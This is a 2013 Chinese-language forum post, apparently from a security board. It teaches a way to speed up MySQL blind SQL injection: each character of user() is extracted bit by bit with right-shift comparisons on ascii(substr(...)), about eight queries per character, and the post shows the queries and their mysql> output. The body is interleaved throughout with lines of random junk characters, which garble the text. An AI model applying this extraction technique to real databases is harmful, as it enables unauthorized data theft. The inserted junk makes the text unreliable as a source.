找回密码
 立即注册
查看: 2777|回复: 0
打印 上一主题 下一主题

关于通过对8bit的ascii做右位移提高mysql盲注效率

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:25:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位
5 w( [$ |- s5 Q5 B' o
8 r5 z( q/ T9 I. T: i/ m8 z( z( S ! y/ l! l0 T- n0 c$ W; U! |! Y

$ q7 N0 J2 i- d, F下面将以查询mysql数据库当中user()的第一位为例:+ N- C! M" t5 ]4 U
- J+ I& b* A5 e8 |' d
1 M5 T9 V+ E0 J9 V

4 _+ u. ?+ h: Bps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1); Q/ U: W8 z4 H& C; j) \
& s7 ?1 c. K( O+ b: A
: t: ?* r" H  }" c

3 ?3 M3 d3 {* g$ D( H$ ]首先执行如下sql语句:5 v. D6 v+ m& w4 f, Y& l( ~

% j& d& m6 Q1 l: l: W4 n: y
/ y8 y/ ?5 J8 C* O* {( R1 z" f+ ~+ [2 X3 z9 |4 N- O. K6 r
mysql> select (ascii((substr(user(),1,1))) >> 7)=0;2 m* \! d# Y8 R& \- g) D2 a

$ O* y  S4 p) O
+ M6 Z% a2 h  ?, T
" W: Z8 u# Z6 A7 e我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的
  ]0 I: S+ f" \7 v: L
" \1 I* r, |) B  P; x+ P 6 A) _; f5 l, `5 V3 }

1 o' o  N* a8 m3 s* z( _6 _第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1# z, e+ @/ t6 X; c

! I0 l9 L, O7 B! v; \0 N * c, M8 j6 h8 T2 ~! n# i% z/ K) d
5 b" ?3 R' b3 y' i+ y9 A
如果运算结果为1,说明第一位为0,不为1
% \: v3 y# Y7 g- A, E, L$ J6 ]9 x) q2 [5 _) B
4 `  P/ U$ s% u+ e
* J! m: m- A; F$ A" L; ?! ?/ _
+————————————–+- q4 [( b) `% d5 y* h  T' x

8 @" U( v$ w! O| (ascii((substr(user(),1,1))) >> 7)=0 |+ K- [5 B* n; r  O6 W
2 i' T+ W  J' m( Q6 \
+————————————–+! }! a3 {) r+ @$ P8 a

! i+ G  k8 q$ _| 1 |
9 f) {1 g# v" X" s# @
! \8 J: |: _$ J$ T1 z: _+————————————–+- l  N, G. R/ X( o- q6 o& U% O
$ z8 X5 a: l' K# Z$ W+ c
1 row in set (0.00 sec)
' c* P" v$ d4 S8 g: _2 |9 X
/ S$ s* z; S5 ~( E, o0 K' u# f这样我们就确定这个8bit的ascii的第一位为0
/ r, L1 |- d  i
' K4 S) T2 i6 D  v/ t8 N* l
: U3 T7 q# n- d
4 v; N. G. J, M8 R/ w) C第二次我们来做6次右偏移来确定前两位! _% y' r% a! W) @( V5 }9 Y  o

! ]' o5 G6 {& q6 ^7 Z' o$ s
- G0 U3 L$ O8 N  z$ X
) p7 a5 d2 o  z1 H, q前两位可能是01或00,即依然可以与0做比较,0 g) |! h, n9 K7 P1 p; M( u: I

0 W  a4 R- k. X* K1 @1 Smysql> select (ascii((substr(user(),1,1))) >> 6)=0;3 i( r" s! _% p" X2 \: l$ ^% C
. D# Q9 r/ `- d
+————————————–+
3 Y4 ~, n7 `8 i2 S7 S6 D( c. j, e, j. l0 D8 r
| (ascii((substr(user(),1,1))) >> 6)=0 |
7 y+ ?( d9 O5 Y( V% D( r2 A- Y' {3 A: H6 W
+————————————–+
* ~9 J1 R2 J9 _5 z5 O) l/ K; B: I% m7 v8 ?: P( v% o& i
| 0 |
0 Q/ \9 p' P* N1 e5 P+ J! ~
8 O* p. _9 l6 a# g+————————————–+
! n, C* H0 C& Q7 G9 V7 i8 n0 A# M1 C4 I# o2 {4 m8 U& O, C
1 row in set (0.00 sec)
4 p) c( H# H0 W: c) l
% I; {- f+ i7 t' X7 t7 | + `" m% m& v  R9 N
4 ]  M1 A  p. N5 |+ R8 d  R* W
结果为0,即第二位为1% T# ^; d6 N/ o) C! l4 R

* }5 ]& K3 i# k
+ F& q. q+ {% I; `' m7 X4 q+ Z7 W. N* ~( {
开始猜测前三位为010或011. J% A) d. ~: v* m1 o

/ m, H& D! y5 q$ ^
0 v6 |( f) `6 n( V1 a( h4 t; S
, N. f& k4 m5 r% V7 Y2 ]! j+ v让我们看看010和011的ascii码是多少
  X' V3 i8 |: C; q" R$ r! y/ y4 q
' I1 A: K. |0 V6 n; A % i! p' W1 T& s, P7 g( f. Y3 V

! u) u* i. J9 v1 y1 ^1 b) F, X分别查询select b’011′ select b’010′
& s5 M5 w( V. V3 r* K/ g  {, o' ?. u/ k
; I" u& B$ H' a8 k1 t - l  U- b9 |) P5 F

3 B+ i) r9 q6 x, Z/ Y获得结果 010 = 2 011 = 3
) b5 S# m- g7 c: y
/ @5 W7 |9 D# L6 k8 r " c  ?7 R4 M. l  t
* z9 B% M1 `# c" Q; G
执行如下sql:8 ?. g! m  I- Y; c" C/ P' V1 N7 a
1 n: k! Q6 r* J0 }: y; n

8 ?9 k7 P5 C% F( g# b* S$ Y2 F+ J3 ^4 f
mysql> select (ascii((substr(user(),1,1))) >> 5)=2;
$ i- K( d$ z* n1 d4 p/ s5 t( P0 y9 T( B* H$ m
+————————————–+$ ], B; B7 K- e8 P9 R

/ M# l. k5 i8 @% h" r1 P$ b  s: W| (ascii((substr(user(),1,1))) >> 5)=2 |
& D, H1 Z8 u0 d1 C6 f! b1 X  c
9 k# M$ F1 O$ s* p9 F+————————————–+
0 I" t3 e! {+ @- q8 \9 W  G5 i& e. ^/ |1 A) R. b
| 0 |
  J$ q2 h3 I: [  P' q  m5 }9 u2 T
+————————————–+
( q+ ^  B1 n6 ^( R
3 \7 o* @# E- R% P5 j即前三位不为010,而是011/ d! }& T/ U. F6 g8 k

7 j  L7 \3 x( ~9 ], [
7 N# O; G. l- X6 R0 f0 A
( _( Y0 v! w( L2 q5 G3 r直到获得最后一位
+ X5 G. p; Y: R0 B& p: \& j! ]$ x6 a" j5 V: g

' a& F: \' ~& t( O
, Q, Q* O8 D. T  `, V! L( M最终结果为:01110010
8 v/ I; ~. y6 E3 Y& t5 K* f& b! p
0 x/ G* {* p: H" }% t( z( i! [, s
/ L& r8 L4 v' I3 R( d) `9 D2 [8 v3 J# O3 ]9 ?1 \
转换一下:
( W4 H% V3 k  D! e$ F- R/ T' T# n4 P, Q9 v+ b
% _% y( g! S' ?5 O* w

' m5 E! e+ i1 S) [select b’01110010′
! }9 h# E) H2 y2 E! Y# `8 ^( z! M) z7 B6 p- u0 E' `( _+ m- o6 o
, R! y- F6 i+ I6 K
/ w- M' k4 W& i+ [/ f6 x/ D# e0 r
查询结果' ^( k8 o) n# b5 g
+ D2 |$ @! U) Z! T- g% D; d  g$ s
4 b+ w: \( q, D8 a
  q3 {, ^7 L- T' h5 Z6 M
+————-+
+ z& ?6 @- K  C# f/ i. t/ k
' h% l/ X$ W5 k, ?/ _| b’01110010′ |& I- d# F5 B0 N2 V# }

/ w8 w6 ?* k4 {- P( M5 X+————-+) q3 Z" v/ l! y
3 p; `) O, i' w$ X2 S! ^, t
| r |
/ q5 }$ O0 |' e% A+ H; Q1 g. `4 ^9 s% h6 ^1 o: l
+————-+% l; c7 J  E  k- i0 c

9 F0 H6 ~6 A/ b/ |; M" }1 row in set (0.00 sec)
% ^# i/ t8 v6 q* S, G2 a$ q
! B( ^- R% h+ J5 Y: V
$ c4 H, p- h" c2 X
/ A9 T& \& D; Y* f3 C! `$ t3 [# \这样我们就获得了user()的第一位.其它位依此类推
# V3 A! J# l) ?  }
; v. n) a) m6 M& x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表